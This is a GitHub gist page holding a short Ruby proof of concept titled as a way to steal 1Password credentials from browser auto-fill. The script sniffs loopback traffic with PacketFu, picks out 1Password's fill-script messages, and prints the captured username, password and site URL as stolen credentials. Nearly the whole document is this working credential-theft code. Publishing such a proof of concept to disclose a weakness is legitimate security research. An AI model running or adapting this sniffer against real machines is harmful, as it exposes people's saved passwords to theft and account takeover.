-
-
Save lctrcl/c9283e5e7a6697cc1bead811fe7d3dc9 to your computer and use it in GitHub Desktop.
Steal 1Password credentials from browser auto-fill PoC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Path setting slight of hand: | |
$: << File.expand_path("../../lib", __FILE__) | |
require 'packetfu' | |
require 'json' | |
capture_thread = Thread.new do | |
cap = PacketFu::Capture.new(:iface => 'lo0', :start => true) | |
cap.stream.each do |p| | |
pkt = PacketFu::Packet.parse p | |
if pkt.payload.include?("executeFillScript") | |
parsed_json = JSON.parse(pkt.payload.match(/{"action.*/)[0]) | |
username = parsed_json["payload"]["script"][1][2] | |
password = parsed_json["payload"]["script"][3][2] | |
url = parsed_json["payload"]["url"] | |
puts "[+] Stolen Credentials: user(#{username}), password(#{password}), url(#{url})" | |
end | |
end | |
end | |
puts "Listening for 1Password interprocess traffic on loopback..." | |
capture_thread.join |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment